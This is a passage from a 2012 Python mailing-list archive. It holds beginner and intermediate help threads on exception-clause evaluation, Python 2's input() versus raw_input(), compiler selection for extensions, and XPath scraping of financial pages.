http://donttrack.us/ | http://dontbubble.us/ -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2728 bytes Desc: not available URL: From thbach at students.uni-mainz.de Sun Dec 2 10:59:22 2012 From: thbach at students.uni-mainz.de (Thomas Bach) Date: Sun, 2 Dec 2012 16:59:22 +0100 Subject: List problem In-Reply-To: <372A1BE2-3E9B-4371-A71E-BA6E8C4E1A36@fastmail.fm> References: <8c0a3ea9-2560-47eb-a9c7-3770e41fe7e1@googlegroups.com> <372A1BE2-3E9B-4371-A71E-BA6E8C4E1A36@fastmail.fm> Message-ID: <20121202155922.GA7615@taris.box> On Sun, Dec 02, 2012 at 04:16:01PM +0100, Lutz Horn wrote: > > len([x for x in l if x[1] == 'VBD']) > Another way is sum(1 for x in l if x[1] == 'VBD') which saves the list creation. Regards, Thomas. From subhabangalore at gmail.com Sun Dec 2 11:10:10 2012 From: subhabangalore at gmail.com (subhabangalore at gmail.com) Date: Sun, 2 Dec 2012 08:10:10 -0800 (PST) Subject: List problem In-Reply-To: References: <8c0a3ea9-2560-47eb-a9c7-3770e41fe7e1@googlegroups.com> <372A1BE2-3E9B-4371-A71E-BA6E8C4E1A36@fastmail.fm> Message-ID: <1ec921ab-272f-4a26-a108-00fa5d618129@googlegroups.com> On Sunday, December 2, 2012 9:29:22 PM UTC+5:30, Thomas Bach wrote: > On Sun, Dec 02, 2012 at 04:16:01PM +0100, Lutz Horn wrote: > > > > > > len([x for x in l if x[1] == 'VBD']) > > > > > > > Another way is > > > > sum(1 for x in l if x[1] == 'VBD') > > > > which saves the list creation. > > > > Regards, > > Thomas. Thanks. After I posted I got a solution as, [x for x, y in enumerate(chunk_word) if "/VB" in y] but you are smarter. Thanks. Regards, Subhabrata. From subhabangalore at gmail.com Sun Dec 2 11:10:10 2012 From: subhabangalore at gmail.com (subhabangalore at gmail.com) Date: Sun, 2 Dec 2012 08:10:10 -0800 (PST) Subject: List problem In-Reply-To: References: <8c0a3ea9-2560-47eb-a9c7-3770e41fe7e1@googlegroups.com> <372A1BE2-3E9B-4371-A71E-BA6E8C4E1A36@fastmail.fm> Message-ID: <1ec921ab-272f-4a26-a108-00fa5d618129@googlegroups.com> On Sunday, December 2, 2012 9:29:22 PM UTC+5:30, Thomas Bach wrote: > On Sun, Dec 02, 2012 at 04:16:01PM +0100, Lutz Horn wrote: > > > > > > len([x for x in l if x[1] == 'VBD']) > > > > > > > Another way is > > > > sum(1 for x in l if x[1] == 'VBD') > > > > which saves the list creation. > > > > Regards, > > Thomas. Thanks. After I posted I got a solution as, [x for x, y in enumerate(chunk_word) if "/VB" in y] but you are smarter. Thanks. Regards, Subhabrata. From roy at panix.com Sun Dec 2 12:25:22 2012 From: roy at panix.com (Roy Smith) Date: Sun, 02 Dec 2012 12:25:22 -0500 Subject: Weird exception handling behavior -- late evaluation in except clause Message-ID: This is kind of weird (Python 2.7.3): try: print "hello" except foo: print "foo" prints "hello". The problem (IMHO) is that apparently the except clause doesn't get evaluated until after some exception is caught. Which means it never notices that foo is not defined until it's too late. This just came up in some code, where I was trying to catch a very rare exception. When the exception finally happened, I discovered that I had a typo in the except clause (I had mis-spelled the name of the exception). So, instead of getting some useful information, I got an AttributeError :-( Is this a bug, or intended behavior? It seems to me it would be much more useful (if slightly more expensive) to evaluate the names of the exceptions in the expect clause before running the try block. From hansmu at xs4all.nl Sun Dec 2 12:53:10 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Sun, 02 Dec 2012 18:53:10 +0100 Subject: Weird exception handling behavior -- late evaluation in except clause In-Reply-To: References: Message-ID: <50bb9586$0$6876$e4fe514c@news2.news.xs4all.nl> On 2/12/12 18:25:22, Roy Smith wrote: > This is kind of weird (Python 2.7.3): > > try: > print "hello" > except foo: > print "foo" > > prints "hello". The problem (IMHO) is that apparently the except clause > doesn't get evaluated until after some exception is caught. Which means > it never notices that foo is not defined until it's too late. > > This just came up in some code, where I was trying to catch a very rare > exception. When the exception finally happened, I discovered that I had > a typo in the except clause (I had mis-spelled the name of the > exception). So, instead of getting some useful information, I got an > AttributeError :-( > > Is this a bug, or intended behavior? It seems to me it would be much > more useful (if slightly more expensive) to evaluate the names of the > exceptions in the expect clause before running the try block. It's intended behaviour: Python runs your script from top to bottom. It doesn't peek ahead at except: clauses. Even it an exception is raised, the exception names are not eveluated all at once. Python begins by evaluating the first exception name. It the exception at hand is an instance of that, Python has found a match and the rest of the names are left unevaluated: >>> try: ... 1/0 ... except ZeroDivisionError: ... print "hello" ... except 1/0: ... pass ... hello There's probably some lint-like tool that can find this kind of issue. Hope this helps, -- HansM From charles.xrandolph2 at gmail.com Sun Dec 2 15:33:58 2012 From: charles.xrandolph2 at gmail.com (Owatch) Date: Sun, 2 Dec 2012 12:33:58 -0800 (PST) Subject: Python Noob Question. Message-ID: <8322bece-1a04-456e-8dc4-910cfc502a07@googlegroups.com> Sorry, but I was redirected here via a thread on another forum concerning where to find help for Python. (Python-forums.org not working for me) I wanted to ask if there was any way I could write a simple Python Temperature program. Where essentially it somehow (Now sure how, I'm a noob remember) read temps off of windows (Providing windows records cpu temps) from their program and then rang an alarm if temperatures exceeded a certain value. I can write the part about the alarm going off. But I have no idea how to have it stream or update values it would grab from that program (whatever it might be). Could you please help, or tell me if its possible. Thanks, Owatch. From tjreedy at udel.edu Sun Dec 2 15:46:02 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Sun, 02 Dec 2012 15:46:02 -0500 Subject: Weird exception handling behavior -- late evaluation in except clause In-Reply-To: References: Message-ID: On 12/2/2012 12:25 PM, Roy Smith wrote: > This is kind of weird (Python 2.7.3): > > try: > print "hello" > except foo: > print "foo" > > prints "hello". The problem (IMHO) is that apparently the except clause > doesn't get evaluated until after some exception is caught. Which means > it never notices that foo is not defined until it's too late. > > This just came up in some code, where I was trying to catch a very rare > exception. When the exception finally happened, I discovered that I had > a typo in the except clause (I had mis-spelled the name of the > exception). So, instead of getting some useful information, I got an > AttributeError :-( You would have the same problem if you spelled the exception name right but misspelled a name in the corresponding block. This is PyLint, PyChecker, xxx territory. Note that proper checking requires execution of imports. import mymod try: pass except mymod.MymogException: pass # whoops > Is this a bug, or intended behavior? It seems to me it would be much > more useful (if slightly more expensive) to evaluate the names of the > exceptions in the expect clause before running the try block. 'try:' is very cheap. Searching ahead any checking names in all the except clauses would be much more expensive -- and useless after the first time the code is run after being revised. -- Terry Jan Reedy From d at davea.name Sun Dec 2 16:06:41 2012 From: d at davea.name (Dave Angel) Date: Sun, 02 Dec 2012 16:06:41 -0500 Subject: setup.py Choosing Older Compiler On Windows In-Reply-To: References: Message-ID: <50BBC2E1.50102@davea.name> On 12/02/2012 09:34 AM, Ami Tavory wrote: > Hello, > > I'm porting a C++ extension module to a Windows machine that has both VC8 > and VC10 installed. Unfortunately, `setup.py build` tries to build using > VC8, which fails (the extension uses C++ standard libraries that VC didn't > used to have). Is there a way to get setup.py to use VC10 (preferably > externally, without modifying the script)? > > I haven't had to do Windows C++ development for many years, but there used to be a vcvars.bat in each compiler installation, and you run the one corresponding to the compiler & libraries you want. -- DaveA From steve+comp.lang.python at pearwood.info Sun Dec 2 16:31:51 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 02 Dec 2012 21:31:51 GMT Subject: Weird exception handling behavior -- late evaluation in except clause References: Message-ID: <50bbc8c7$0$29994$c3e8da3$5496439d@news.astraweb.com> On Sun, 02 Dec 2012 12:25:22 -0500, Roy Smith wrote: > This is kind of weird (Python 2.7.3): > > try: > print "hello" > except foo: > print "foo" > > prints "hello". The problem (IMHO) is that apparently the except clause > doesn't get evaluated until after some exception is caught. Which means > it never notices that foo is not defined until it's too late. This is exactly the same as, well, everything in Python. Nothing is evaluated until needed. Consider this piece of legal Python code: Err = None if condition(x) > 100: Err = OneException elif another_condition(x): Err = AnotherException try: spam(a, b, c) except Err: recover() And consider that spam() may very well set the global Err to yet another value, or delete it altogether, before raising. How should Python check that Err is defined to an actual exception ahead of time? The names of exceptions are no different from any other names in Python. They're merely names, and they're looked up at runtime. If you want to boggle/confuse/annoy your friends, shadowing builtins can help: py> def spam(x): ... global UnicodeEncodeError ... UnicodeEncodeError = ZeroDivisionError ... return 1/x ... py> try: ... spam(0) ... except UnicodeEncodeError: ... print("Divided by zero") ... Divided by zero (By the way, if you ever do this by accident, you can recover with a simple "del UnicodeEncodeError" to restore access to the builtin.) As Terry has said, those sort of pre-runtime checks are the responsibility of pylint or pychecker or equivalent. Python is too dynamic to allow the sort of compile-time checks you can get from a Haskell, C or Pascal, so the Python compiler delegates responsibility to third-party applications. There's no point in making an exceptions for exceptions. > This just came up in some code, where I was trying to catch a very rare > exception. When the exception finally happened, I discovered that I had > a typo in the except clause (I had mis-spelled the name of the > exception). So, instead of getting some useful information, I got an > AttributeError :-( One of the nice features of Python 3: py> try: ... 1/0 ... except ZeroDividingError: ... pass ... Traceback (most recent call last): File "", line 2, in ZeroDivisionError: division by zero During handling of the above exception, another exception occurred: Traceback (most recent call last): File "", line 3, in NameError: name 'ZeroDividingError' is not defined Very useful for debugging unexpected errors in except clauses. The downside is that until Python 3.3, there's no way to turn it off when you intentionally catch one exception and raise another in it's place. > Is this a bug, or intended behavior? It seems to me it would be much > more useful (if slightly more expensive) to evaluate the names of the > exceptions in the expect clause before running the try block. "Slightly" more expensive? Methinks you are underestimating the level of dynamism of Python. py> def pick_an_exception(): ... global x ... if 'x' in globals(): ... return TypeError ... x = None ... return NameError ... py> for i in range(3): ... try: ... print(x + 1) ... except pick_an_exception() as err: ... print("Caught", err) ... Caught name 'x' is not defined Caught unsupported operand type(s) for +: 'NoneType' and 'int' Caught unsupported operand type(s) for +: 'NoneType' and 'int' The except expression can be arbitrarily expensive, with arbitrary side- effects. -- Steven From tdldev at gmail.com Sun Dec 2 16:39:07 2012 From: tdldev at gmail.com (Verde Denim) Date: Sun, 02 Dec 2012 16:39:07 -0500 Subject: loops Message-ID: <50BBCA7B.60807@gmail.com> I'm just getting into py coding, and have come across an oddity in a py book - while loops that don't work as expected... import random MIN = 1 MAX = 6 def main(): again = 'y' while again == 'y': print('Rolling...') print('Values are: ') print(random.randint(MIN, MAX)) print(random.randint(MIN, MAX)) again = input('Roll again? (y = yes): ') main() Produces - python dice_roll.py Rolling... Values are: 5 4 Roll again? (y = yes): y Traceback (most recent call last): File "dice_roll.py", line 17, in main() File "dice_roll.py", line 15, in main again = input('Roll again? (y = yes): ') File "", line 1, in NameError: name 'y' is not defined This same loop structure appears in many places in this book "Starting out with Python, 2nd ed, Tony Gaddis), and they all yield the same error. Is there something I'm missing here? Thanks for the input... From msirenef at lightbird.net Sun Dec 2 16:43:29 2012 From: msirenef at lightbird.net (Mitya Sirenef) Date: Sun, 02 Dec 2012 16:43:29 -0500 Subject: loops In-Reply-To: <50BBCA7B.60807@gmail.com> References: <50BBCA7B.60807@gmail.com> Message-ID: <50BBCB81.9030005@lightbird.net> On 12/02/2012 04:39 PM, Verde Denim wrote: > I'm just getting into py coding, and have come across an oddity in a py > book - while loops that don't work as expected... > > import random > > MIN = 1 > MAX = 6 > > def main(): > again = 'y' > > while again == 'y': > print('Rolling...') > print('Values are: ') > print(random.randint(MIN, MAX)) > print(random.randint(MIN, MAX)) > > again = input('Roll again? (y = yes): ') > > main() > > Produces - > python dice_roll.py > Rolling... > Values are: > 5 > 4 > Roll again? (y = yes): y > Traceback (most recent call last): > File "dice_roll.py", line 17, in > main() > File "dice_roll.py", line 15, in main > again = input('Roll again? (y = yes): ') > File "", line 1, in > NameError: name 'y' is not defined > > This same loop structure appears in many places in this book "Starting > out with Python, 2nd ed, Tony Gaddis), and they all yield the same > error. Is there something I'm missing here? > > Thanks for the input... I believe that should be raw_input, not input . input() evaluates user's input in local scope. -m From steve+comp.lang.python at pearwood.info Sun Dec 2 16:44:05 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 02 Dec 2012 21:44:05 GMT Subject: Python Noob Question. References: <8322bece-1a04-456e-8dc4-910cfc502a07@googlegroups.com> Message-ID: <50bbcba5$0$29994$c3e8da3$5496439d@news.astraweb.com> On Sun, 02 Dec 2012 12:33:58 -0800, Owatch wrote: > Sorry, but I was redirected here via a thread on another forum > concerning where to find help for Python. (Python-forums.org not working > for me) > > I wanted to ask if there was any way I could write a simple Python > Temperature program. Where essentially it somehow (Now sure how, I'm a > noob remember) read temps off of windows (Providing windows records cpu > temps) from their program and then rang an alarm if temperatures > exceeded a certain value. > > I can write the part about the alarm going off. But I have no idea how > to have it stream or update values it would grab from that program > (whatever it might be). > > Could you please help, or tell me if its possible. Thanks, Owatch. Yes, it's possible, but if you have no idea which program you want to read temperature data from, what makes you think we would have any better idea? This is a Python forum, not a "Windows programs that give temperature data" forum. I recommend you start by doing some research into how to read the temperature data, including the name of the program. Once you have that, come back to us for help in using Python. -- Steven From rosuav at gmail.com Sun Dec 2 16:44:10 2012 From: rosuav at gmail.com (Chris Angelico) Date: Mon, 3 Dec 2012 08:44:10 +1100 Subject: loops In-Reply-To: <50BBCA7B.60807@gmail.com> References: <50BBCA7B.60807@gmail.com> Message-ID: On Mon, Dec 3, 2012 at 8:39 AM, Verde Denim wrote: > again = input('Roll again? (y = yes): ') > > Roll again? (y = yes): y > Traceback (most recent call last): > File "dice_roll.py", line 17, in > main() > File "dice_roll.py", line 15, in main > again = input('Roll again? (y = yes): ') > File "", line 1, in > NameError: name 'y' is not defined > > This same loop structure appears in many places in this book "Starting > out with Python, 2nd ed, Tony Gaddis), and they all yield the same > error. Is there something I'm missing here? > > Thanks for the input... The loop isn't the problem, your input() function is. In Python 2, input() did the strange thing of evaluating what you typed; to simply ask for a line and return it as a string, use raw_input(). As of Python 3, the input() function does what raw_input() used to do, which is what you want here. You may be able to fix the problem by simply changing the function name, but if the book is assuming Python 3, you will probably want to switch to the newer interpreter. Also, the newer Pythons have a large number of improvements in other areas, so it's well worth switching anyway. ChrisA From steve+comp.lang.python at pearwood.info Sun Dec 2 16:51:21 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 02 Dec 2012 21:51:21 GMT Subject: loops References: Message-ID: <50bbcd59$0$29994$c3e8da3$5496439d@news.astraweb.com> On Sun, 02 Dec 2012 16:39:07 -0500, Verde Denim wrote: > I'm just getting into py coding, and have come across an oddity in a py > book - while loops that don't work as expected... This error has nothing to do with the while loop. Read the error message that Python gives you: > Traceback (most recent call last): > File "dice_roll.py", line 17, in > main() > File "dice_roll.py", line 15, in main > again = input('Roll again? (y = yes): ') > File "", line 1, in > NameError: name 'y' is not defined In Python 2, there is a serious design flaw with the "input" function, fortunately corrected in Python 3. The flaw is that input automatically evaluates whatever you type as Python code. So when you type "y", the input function tries to evaluate the name y, which doesn't exist. No while loop required: py> again = input('Roll again? (y = yes): ') Roll again? (y = yes): y Traceback (most recent call last): File "", line 1, in File "", line 1, in NameError: name 'y' is not defined The solution is either to use Python 3, where this is no longer an issue, or to replace "input" with "raw_input": py> again = raw_input('Roll again? (y = yes): ') Roll again? (y = yes): y py> again 'y' > This same loop structure appears in many places in this book "Starting > out with Python, 2nd ed, Tony Gaddis), and they all yield the same > error. Is there something I'm missing here? > > Thanks for the input... I see what you did there... *wink* -- Steven From cs at zip.com.au Sun Dec 2 17:11:51 2012 From: cs at zip.com.au (Cameron Simpson) Date: Mon, 3 Dec 2012 09:11:51 +1100 Subject: Splitting Tree In-Reply-To: References: Message-ID: <20121202221150.GA16488@cskk.homeip.net> On 02Dec2012 07:02, subhabangalore at gmail.com wrote: | On Sunday, December 2, 2012 5:39:32 PM UTC+5:30, subhaba... at gmail.com wrote: | > I am using NLTK and I used the following command, | > chunk=nltk.ne_chunk(tag) | > | > print "The Chunk of the Line Is:",chunk | > | > The Chunk of the Line Is: (S | > ''/'' | > It/PRP [...] | > Now I am trying to split the output preferably by ",/,". [...] | | Sorry to ask this. I converted in string and then splitted it. I'm glad you solved your problem, but I would like to point out that this is generally a risky way of manipulating data. The problem arises if the string you're splitting on occurs as a literal piece of text, but _not_ in the sense you intend. It may be the case that it will not happen in your particular situation, but in general the procedure: - convert structure to string somehow - perfect simple text manipulation - unconvert is at risk of simplistic parsing of the string. A common example is with CSV data. Supposing you wanted the the third column from an array of tuples: rows = [ (1,2,"A",4), (5,6,"B",8), (9,10,"C,D",12), ] and you wanted [ "A", "B", "C,D" ]. If one went with the "convert to text" approach, and decided that converting each tuple to a CSV style data row was a good idea you might write: column_3 = [] for row in rows: csv_string = ",".join( str(item) for item in row ) item3 = csv_string.split(",")[2] column_3.append(item3) The (simplistic) code above with give you "C" from the third row, not "C,D". Because it naively assumes there are no commas in the data, and then does a simplistic textual split to find the third column. Obviously you woldn't really do that for something this simple; it is to show the issue. But your situation where manipulating a tree was tricky and you converted it to a string is very similar conceptually. Hoping this shows you the issue, -- Cameron Simpson I'm not making any of this up you know. - Anna Russell From tdldev at gmail.com Sun Dec 2 17:28:48 2012 From: tdldev at gmail.com (Verde Denim) Date: Sun, 02 Dec 2012 17:28:48 -0500 Subject: loops In-Reply-To: <50BBCB81.9030005@lightbird.net> References: <50BBCA7B.60807@gmail.com> <50BBCB81.9030005@lightbird.net> Message-ID: <50BBD620.2030303@gmail.com> On 12/02/2012 04:43 PM, Mitya Sirenef wrote: > On 12/02/2012 04:39 PM, Verde Denim wrote: >> I'm just getting into py coding, and have come across an oddity in a py >> book - while loops that don't work as expected... >> >> import random >> >> MIN = 1 >> MAX = 6 >> >> def main(): >> again = 'y' >> >> while again == 'y': >> print('Rolling...') >> print('Values are: ') >> print(random.randint(MIN, MAX)) >> print(random.randint(MIN, MAX)) >> >> again = input('Roll again? (y = yes): ') >> >> main() >> >> Produces - >> python dice_roll.py >> Rolling... >> Values are: >> 5 >> 4 >> Roll again? (y = yes): y >> Traceback (most recent call last): >> File "dice_roll.py", line 17, in >> main() >> File "dice_roll.py", line 15, in main >> again = input('Roll again? (y = yes): ') >> File "", line 1, in >> NameError: name 'y' is not defined >> >> This same loop structure appears in many places in this book "Starting >> out with Python, 2nd ed, Tony Gaddis), and they all yield the same >> error. Is there something I'm missing here? >> >> Thanks for the input... > > I believe that should be raw_input, not input . input() evaluates user's > input > in local scope. -m m Nicely done! That fixed it! Is that a version feature or should I take what I find in these books with a grain of salt? -j From python at mrabarnett.plus.com Sun Dec 2 17:38:18 2012 From: python at mrabarnett.plus.com (MRAB) Date: Sun, 02 Dec 2012 22:38:18 +0000 Subject: loops In-Reply-To: <50BBD620.2030303@gmail.com> References: <50BBCA7B.60807@gmail.com> <50BBCB81.9030005@lightbird.net> <50BBD620.2030303@gmail.com> Message-ID: <50BBD85A.1070404@mrabarnett.plus.com> On 2012-12-02 22:28, Verde Denim wrote: > On 12/02/2012 04:43 PM, Mitya Sirenef wrote: >> On 12/02/2012 04:39 PM, Verde Denim wrote: >>> I'm just getting into py coding, and have come across an oddity in a py >>> book - while loops that don't work as expected... >>> [snip] >>> >>> This same loop structure appears in many places in this book "Starting >>> out with Python, 2nd ed, Tony Gaddis), and they all yield the same >>> error. Is there something I'm missing here? >>> >>> Thanks for the input... >> >> I believe that should be raw_input, not input . input() evaluates user's >> input >> in local scope. -m > > m > Nicely done! That fixed it! Is that a version feature or should I take > what I find in these books with a grain of salt? > It's a difference between Python 2 and Python 3. Normally a lot of care is taken to maintain backwards compatibility, but it was decided that the language needed to be tidied up and certain misfeatures removed. Python 2 has stopped at version 2.7. Python 3 is currently at version 3.3. From rhodri at wildebst.demon.co.uk Sun Dec 2 17:53:32 2012 From: rhodri at wildebst.demon.co.uk (Rhodri James) Date: Sun, 02 Dec 2012 22:53:32 -0000 Subject: loops References: <50BBCA7B.60807@gmail.com> <50BBCB81.9030005@lightbird.net> Message-ID: On Sun, 02 Dec 2012 22:28:48 -0000, Verde Denim wrote: > Nicely done! That fixed it! Is that a version feature or should I take > what I find in these books with a grain of salt? It's a difference between Python 2 and Python 3 (which is almost certainly what your book told you to). The other feature which you will trip over is that "print" was a keyword in Python 2, but is a function in Python 3. This happens to have made no difference in the example you gave, but try this: Python 3.2 (r32:88445, Oct 20 2012, 14:09:29) [GCC 4.5.2] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> print(1,2,3) 1 2 3 Python 2.7.1+ (r271:86832, Sep 27 2012, 21:12:17) [GCC 4.5.2] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> print(1,2,3) (1, 2, 3) -- Rhodri James *-* Wildebeest Herder to the Masses From wuwei23 at gmail.com Sun Dec 2 18:56:07 2012 From: wuwei23 at gmail.com (alex23) Date: Sun, 2 Dec 2012 15:56:07 -0800 (PST) Subject: Textmining References: <4a65cf82-9368-4c29-95a0-bc552cd0effd@googlegroups.com> <06ff307d-093f-42e2-a4bb-1b2e34593c69@googlegroups.com> Message-ID: <6c6f7cd3-14d2-4c7b-a621-d7ea6e5ec8f4@me7g2000pbb.googlegroups.com> On Dec 1, 7:27?pm, subhabangal... at gmail.com wrote: > http://pypi.python.org/pypi/textmining/1.0 > I am not getting how to download and use it. Did you look at any of the documentation on its home page? http://www.christianpeccei.com/projects/textmining/ > The latest version (1.0) is available from the Python Package Index. > To install, extract the .zip file and run: > python setup.py install Immediately after that are usage examples. From irmen.NOSPAM at xs4all.nl Sun Dec 2 19:10:23 2012 From: irmen.NOSPAM at xs4all.nl (Irmen de Jong) Date: Mon, 03 Dec 2012 01:10:23 +0100 Subject: setup.py Choosing Older Compiler On Windows In-Reply-To: References: Message-ID: <50bbedf1$0$6894$e4fe514c@news.xs4all.nl> On 2-12-2012 22:06, Dave Angel wrote: > On 12/02/2012 09:34 AM, Ami Tavory wrote: >> Hello, >> >> I'm porting a C++ extension module to a Windows machine that has both VC8 >> and VC10 installed. Unfortunately, `setup.py build` tries to build using >> VC8, which fails (the extension uses C++ standard libraries that VC didn't >> used to have). Is there a way to get setup.py to use VC10 (preferably >> externally, without modifying the script)? >> >> > > I haven't had to do Windows C++ development for many years, but there > used to be a vcvars.bat in each compiler installation, and you run the > one corresponding to the compiler & libraries you want. Forcing it to use a different compiler than the one that was used to build Python itself, may very well lead to a non-working extension module. Irmen From jhsu802701 at gmail.com Sun Dec 2 20:23:13 2012 From: jhsu802701 at gmail.com (Jason Hsu) Date: Sun, 2 Dec 2012 17:23:13 -0800 (PST) Subject: Using Xpath to parse a Yahoo Finance page Message-ID: I'm trying to extract the data on "total assets" from Yahoo Finance using Python 2.7 and lxml. Here is a special test script I set up to work on this issue: import urllib import lxml import lxml.html url_local1 = "http://www.smartmoney.com/quote/FAST/?story=financials&timewindow=1&opt=YB&isFinprint=1&framework.view=smi_emptyView" result1 = urllib.urlopen(url_local1) element_html1 = result1.read() doc1 = lxml.html.document_fromstring (element_html1) list_row1 = doc1.xpath(u'.//th[div[text()="Total Assets"]]/following-sibling::td/text()') print list_row1 url_local2 = "http://finance.yahoo.com/q/bs?s=FAST" result2 = urllib.urlopen(url_local2) element_html2 = result2.read() doc2 = lxml.html.document_fromstring (element_html2) list_row2 = doc2.xpath(u'.//td[strong[text()="Total Assets"]]/following-sibling::td/strong/text()') print list_row2 I'm able to get the row of data on total assets from the Smartmoney page, but I get just an empty list when I try to parse the Yahoo Finance page. From python at mrabarnett.plus.com Sun Dec 2 21:25:45 2012 From: python at mrabarnett.plus.com (MRAB) Date: Mon, 03 Dec 2012 02:25:45 +0000 Subject: Using Xpath to parse a Yahoo Finance page In-Reply-To: References: Message-ID: <50BC0DA9.5050308@mrabarnett.plus.com> On 2012-12-03 01:23, Jason Hsu wrote: > I'm trying to extract the data on "total assets" from Yahoo Finance using Python 2.7 and lxml. > > Here is a special test script I set up to work on this issue: > > import urllib > import lxml > import lxml.html > > url_local1 = "http://www.smartmoney.com/quote/FAST/?story=financials&timewindow=1&opt=YB&isFinprint=1&framework.view=smi_emptyView" > result1 = urllib.urlopen(url_local1) > element_html1 = result1.read() > doc1 = lxml.html.document_fromstring (element_html1) > list_row1 = doc1.xpath(u'.//th[div[text()="Total Assets"]]/following-sibling::td/text()') > print list_row1 > > url_local2 = "http://finance.yahoo.com/q/bs?s=FAST" > result2 = urllib.urlopen(url_local2) > element_html2 = result2.read() > doc2 = lxml.html.document_fromstring (element_html2) > list_row2 = doc2.xpath(u'.//td[strong[text()="Total Assets"]]/following-sibling::td/strong/text()') > print list_row2 > > I'm able to get the row of data on total assets from the Smartmoney page, but I get just an empty list when I try to parse the Yahoo Finance page. > The problem is that you're asking it to look for an exact match. If you look at the HTML itself, you'll see that there's whitespace around the "Total Assets" part. This should work: list_row2 = doc2.xpath(u'.//td[strong[contains(text(),"Total Assets")]]/following-sibling::td/strong/text()') (Although I tested it in Python 3.2.) From jhsu802701 at gmail.com Sun Dec 2 22:32:03 2012 From: jhsu802701 at gmail.com (Jason Hsu) Date: Sun, 2 Dec 2012 19:32:03 -0800 (PST) Subject: Using Xpath to parse a Yahoo Finance page In-Reply-To: References: Message-ID: <80434eef-fc97-426f-97e4-8732589c95e3@googlegroups.com> On Sunday, December 2, 2012 8:25:45 PM UTC-6, MRAB wrote: > > list_row2 = doc2.xpath(u'.//td[strong[contains(text(),"Total > > Assets")]]/following-sibling::td/strong/text()') > Thanks, MRAB. Your suggestion works! From jhsu802701 at gmail.com Sun Dec 2 22:32:03 2012 From: jhsu802701 at gmail.com (Jason Hsu) Date: Sun, 2 Dec 2012 19:32:03 -0800 (PST) Subject: Using Xpath to parse a Yahoo Finance page In-Reply-To: References: Message-ID: <80434eef-fc97-426f-97e4-8732589c95e3@googlegroups.com> On Sunday, December 2, 2012 8:25:45 PM UTC-6, MRAB wrote: > > list_row2 = doc2.xpath(u'.//td[strong[contains(text(),"Total > > Assets")]]/following-sibling::td/strong/text()') > Thanks, MRAB. Your suggestion works! From rosuav at gmail.com Mon Dec 3 00:24:50 2012 From: rosuav at gmail.com (Chris Angelico) Date: Mon, 3 Dec 2012 16:24:50 +1100 Subject: Weird exception handling behavior -- late evaluation in except clause In-Reply-To: <50bbc8c7$0$29994$c3e8da3$5496439d@news.astraweb.com> References: <50bbc8c7$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: On Mon, Dec 3, 2012 at 8:31 AM, Steven D'Aprano wrote: > Consider this piece of legal Python code: > > Err = None > if condition(x) > 100: > Err = OneException > elif another_condition(x): > Err = AnotherException > try: > spam(a, b, c) > except Err: > recover() Legal it may be, but are there times when you actually _need_ this level of dynamism? It strikes me as a pretty weird way of going about things. I agree with the point you're making, but this feels like a contrived example, and I'm curious as to whether it can be uncontrived. ChrisA From stefan_ml at behnel.de Mon Dec 3 01:44:07 2012 From: stefan_ml at behnel.de (Stefan Behnel) Date: Mon, 03 Dec 2012 07:44:07 +0100 Subject: Using Xpath to parse a Yahoo Finance page In-Reply-To: <50BC0DA9.5050308@mrabarnett.plus.com> References: <50BC0DA9.5050308@mrabarnett.plus.com> Message-ID: MRAB, 03.12.2012 03:25: > On 2012-12-03 01:23, Jason Hsu wrote: >> I'm trying to extract the data on "total assets" from Yahoo Finance using >> Python 2.7 and lxml. >> >> Here is a special test script I set up to work on this issue: >> >> import urllib >> import lxml >> import lxml.html >> >> url_local1 = >> "http://www.smartmoney.com/quote/FAST/?story=financials&timewindow=1&opt=YB&isFinprint=1&framework.view=smi_emptyView" >> >> result1 = urllib.urlopen(url_local1) >> element_html1 = result1.read() >> doc1 = lxml.html.document_fromstring (element_html1) The last three lines are unnecessarily complicated code. Just use doc = lxml.html.parse(url_local1) >> list_row1 = doc1.xpath(u'.//th[div[text()="Total >> Assets"]]/following-sibling::td/text()') >> print list_row1 >> >> url_local2 = "http://finance.yahoo.com/q/bs?s=FAST" >> result2 = urllib.urlopen(url_local2) >> element_html2 = result2.read() >> doc2 = lxml.html.document_fromstring (element_html2) >> list_row2 = doc2.xpath(u'.//td[strong[text()="Total >> Assets"]]/following-sibling::td/strong/text()') >> print list_row2 >> >> I'm able to get the row of data on total assets from the Smartmoney page, >> but I get just an empty list when I try to parse the Yahoo Finance page. >> > The problem is that you're asking it to look for an exact match. > > If you look at the HTML itself, you'll see that there's whitespace > around the "Total Assets" part. > > This should work: > > list_row2 = doc2.xpath(u'.//td[strong[contains(text(),"Total > Assets")]]/following-sibling::td/strong/text()') Something like "contains(text(),"Total Assets")" is better expressed as "contains(.,"Total Assets")" because it considers the complete text content instead of just one text node. Stefan From steve+comp.lang.python at pearwood.info Mon Dec 3 02:30:26 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 03 Dec 2012 07:30:26 GMT Subject: Weird exception handling behavior -- late evaluation in except clause References: <50bbc8c7$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: <50bc5511$0$30000$c3e8da3$5496439d@news.astraweb.com> On Mon, 03 Dec 2012 16:24:50 +1100, Chris Angelico wrote: > On Mon, Dec 3, 2012 at 8:31 AM, Steven D'Aprano > wrote: >> Consider this piece of legal Python code: >> >> Err = None >> if condition(x) > 100: >> Err = OneException >> elif another_condition(x): >> Err = AnotherException >> try: >> spam(a, b, c) >> except Err: >> recover() > > Legal it may be, but are there times when you actually _need_ this level > of dynamism? It strikes me as a pretty weird way of going about things. > > I agree with the point you're making, but this feels like a contrived > example, and I'm curious as to whether it can be uncontrived. Yeah, in hindsight it was a pretty crappy example. But this sort of dynamism really is useful: def testRaises(exc, func, *args): try: result = func(*args) except exc: return raise AssertionError("expected exception but didn't get one") def wrap(func, exc, default=None): @functools.wraps(func) def inner(*args): try: return func(*args) except exc: return default return inner -- Steven From rosuav at gmail.com Mon Dec 3 02:38:25 2012 From: rosuav at gmail.com (Chris Angelico) Date: Mon, 3 Dec 2012 18:38:25 +1100 Subject: Weird exception handling behavior -- late evaluation in except clause In-Reply-To: 